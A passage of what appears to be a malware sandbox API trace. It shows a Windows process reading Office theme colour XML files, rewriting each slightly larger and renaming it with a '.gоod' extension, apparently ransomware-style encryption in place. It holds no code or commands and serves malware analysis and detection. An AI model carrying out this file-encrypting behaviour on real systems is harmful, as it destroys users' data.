returned 0x51 [0149.234] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0149.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\orange.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0149.234] GetFileType (hFile=0x804) returned 0x1 [0149.234] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0149.234] GetFileType (hFile=0x804) returned 0x1 [0149.234] GetFileSize (in: hFile=0x804, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0x2d0 [0149.234] ReadFile (in: hFile=0x804, lpBuffer=0x3885538, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x3885538*, lpNumberOfBytesRead=0x200ec818*=0x2d0, lpOverlapped=0x0) returned 1 [0149.518] CloseHandle (hObject=0x804) returned 1 [0149.544] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange.xml", lpFilePart=0x0) returned 0x51 [0149.544] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0149.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\orange.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0149.546] GetFileType (hFile=0x804) returned 0x1 [0149.546] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0149.546] GetFileType (hFile=0x804) returned 0x1 [0149.546] WriteFile (in: hFile=0x804, lpBuffer=0x3897458*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x3897458*, lpNumberOfBytesWritten=0x200ec728*=0x2e0, lpOverlapped=0x0) returned 1 [0149.547] CloseHandle (hObject=0x804) returned 1 [0149.547] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange.xml", lpFilePart=0x0) returned 0x51 [0149.547] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange.xml.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange.xml.gоod", lpFilePart=0x0) returned 0x56 [0149.547] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0149.547] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\orange.xml"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11377f40, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x555acaae, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2e0)) returned 1 [0149.547] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0149.547] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\orange.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\orange.xml.gоod")) returned 1 [0149.548] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Paper.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Paper.xml", lpFilePart=0x0) returned 0x50 [0149.548] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0149.548] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Paper.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\paper.xml"), fInfoLevelId=0x0, lpFileInformation=0x3898730 | out: lpFileInformation=0x3898730*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11377f40, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1139e160, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e3)) returned 1 [0149.548] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0149.548] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Paper.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Paper.xml", lpFilePart=0x0) returned 0x50 [0149.548] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0149.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Paper.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\paper.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0149.549] GetFileType (hFile=0x804) returned 0x1 [0149.549] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0149.549] GetFileType (hFile=0x804) returned 0x1 [0149.549] GetFileSize (in: hFile=0x804, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0x2e3 [0149.549] ReadFile (in: hFile=0x804, lpBuffer=0x3898ce0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x3898ce0*, lpNumberOfBytesRead=0x200ec818*=0x2e3, lpOverlapped=0x0) returned 1 [0149.924] CloseHandle (hObject=0x804) returned 1 [0149.961] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Paper.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Paper.xml", lpFilePart=0x0) returned 0x50 [0149.961] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0149.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Paper.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\paper.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0149.962] GetFileType (hFile=0x804) returned 0x1 [0149.962] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0149.963] GetFileType (hFile=0x804) returned 0x1 [0149.963] WriteFile (in: hFile=0x804, lpBuffer=0x380c310*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x380c310*, lpNumberOfBytesWritten=0x200ec728*=0x2f0, lpOverlapped=0x0) returned 1 [0149.963] CloseHandle (hObject=0x804) returned 1 [0149.964] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Paper.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Paper.xml", lpFilePart=0x0) returned 0x50 [0149.964] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Paper.xml.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Paper.xml.gоod", lpFilePart=0x0) returned 0x55 [0149.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0149.964] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Paper.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\paper.xml"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11377f40, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5598c850, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2f0)) returned 1 [0149.964] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0149.964] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Paper.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\paper.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Paper.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\paper.xml.gоod")) returned 1 [0149.965] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Orange.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Orange.xml", lpFilePart=0x0) returned 0x55 [0149.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0149.965] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Orange.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\red orange.xml"), fInfoLevelId=0x0, lpFileInformation=0x380d5e8 | out: lpFileInformation=0x380d5e8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11377f40, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11377f40, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e8)) returned 1 [0149.965] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0149.965] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Orange.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Orange.xml", lpFilePart=0x0) returned 0x55 [0149.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0149.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Orange.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\red orange.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0149.965] GetFileType (hFile=0x804) returned 0x1 [0149.965] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0149.965] GetFileType (hFile=0x804) returned 0x1 [0149.965] GetFileSize (in: hFile=0x804, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0x2e8 [0149.965] ReadFile (in: hFile=0x804, lpBuffer=0x380dbb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x380dbb8*, lpNumberOfBytesRead=0x200ec818*=0x2e8, lpOverlapped=0x0) returned 1 [0150.379] CloseHandle (hObject=0x804) returned 1 [0150.420] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Orange.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Orange.xml", lpFilePart=0x0) returned 0x55 [0150.420] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0150.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Orange.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\red orange.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0150.799] GetFileType (hFile=0x804) returned 0x1 [0150.799] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0150.799] GetFileType (hFile=0x804) returned 0x1 [0150.799] WriteFile (in: hFile=0x804, lpBuffer=0x3907250*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x3907250*, lpNumberOfBytesWritten=0x200ec728*=0x2f0, lpOverlapped=0x0) returned 1 [0150.799] CloseHandle (hObject=0x804) returned 1 [0150.800] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Orange.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Orange.xml", lpFilePart=0x0) returned 0x55 [0150.800] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Orange.xml.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Orange.xml.gоod", lpFilePart=0x0) returned 0x5a [0150.800] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0150.800] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Orange.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\red orange.xml"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11377f40, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5619843a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2f0)) returned 1 [0150.800] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0150.800] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Orange.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\red orange.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Orange.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\red orange.xml.gоod")) returned 1 [0150.800] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Violet.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Violet.xml", lpFilePart=0x0) returned 0x55 [0150.801] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0150.801] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Violet.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\red violet.xml"), fInfoLevelId=0x0, lpFileInformation=0x3908540 | out: lpFileInformation=0x3908540*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114108ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114108ca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11436ace, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e8)) returned 1 [0150.801] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0150.801] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Violet.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Violet.xml", lpFilePart=0x0) returned 0x55 [0150.801] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0150.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Violet.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\red violet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0150.801] GetFileType (hFile=0x804) returned 0x1 [0150.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0150.802] GetFileType (hFile=0x804) returned 0x1 [0150.802] GetFileSize (in: hFile=0x804, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0x2e8 [0150.802] ReadFile (in: hFile=0x804, lpBuffer=0x3908b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x3908b10*, lpNumberOfBytesRead=0x200ec818*=0x2e8, lpOverlapped=0x0) returned 1 [0150.803] CloseHandle (hObject=0x804) returned 1 [0150.841] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Violet.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Violet.xml", lpFilePart=0x0) returned 0x55 [0150.841] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0150.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Violet.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\red violet.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0150.842] GetFileType (hFile=0x804) returned 0x1 [0150.842] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0150.842] GetFileType (hFile=0x804) returned 0x1 [0150.842] WriteFile (in: hFile=0x804, lpBuffer=0x3983bc0*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x3983bc0*, lpNumberOfBytesWritten=0x200ec728*=0x2f0, lpOverlapped=0x0) returned 1 [0150.843] CloseHandle (hObject=0x804) returned 1 [0150.843] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Violet.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Violet.xml", lpFilePart=0x0) returned 0x55 [0150.843] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Violet.xml.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Violet.xml.gоod", lpFilePart=0x0) returned 0x5a [0150.843] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0150.843] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Violet.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\red violet.xml"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x114108ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114108ca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x561e4c15, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2f0)) returned 1 [0150.843] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0150.843] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Violet.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\red violet.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Violet.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\red violet.xml.gоod")) returned 1 [0151.313] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red.xml", lpFilePart=0x0) returned 0x4e [0151.313] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0151.313] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\red.xml"), fInfoLevelId=0x0, lpFileInformation=0x38c8938 | out: lpFileInformation=0x38c8938*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11377f40, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1139e160, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e1)) returned 1 [0151.313] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0151.313] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red.xml", lpFilePart=0x0) returned 0x4e [0151.313] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0151.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\red.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0151.314] GetFileType (hFile=0x7dc) returned 0x1 [0151.314] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0151.314] GetFileType (hFile=0x7dc) returned 0x1 [0151.314] GetFileSize (in: hFile=0x7dc, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0x2e1 [0151.314] ReadFile (in: hFile=0x7dc, lpBuffer=0x38c8ec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x38c8ec8*, lpNumberOfBytesRead=0x200ec818*=0x2e1, lpOverlapped=0x0) returned 1 [0151.315] CloseHandle (hObject=0x7dc) returned 1 [0151.342] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red.xml", lpFilePart=0x0) returned 0x4e [0151.342] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0151.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\red.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0151.343] GetFileType (hFile=0x7dc) returned 0x1 [0151.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0151.343] GetFileType (hFile=0x7dc) returned 0x1 [0151.343] WriteFile (in: hFile=0x7dc, lpBuffer=0x3942718*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x3942718*, lpNumberOfBytesWritten=0x200ec728*=0x2f0, lpOverlapped=0x0) returned 1 [0151.344] CloseHandle (hObject=0x7dc) returned 1 [0151.344] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red.xml", lpFilePart=0x0) returned 0x4e [0151.344] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red.xml.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red.xml.gоod", lpFilePart=0x0) returned 0x53 [0151.344] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0151.344] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\red.xml"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11377f40, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x566cf9f7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2f0)) returned 1 [0151.344] SetThreadErrorMode (dwNewMode=0x0, 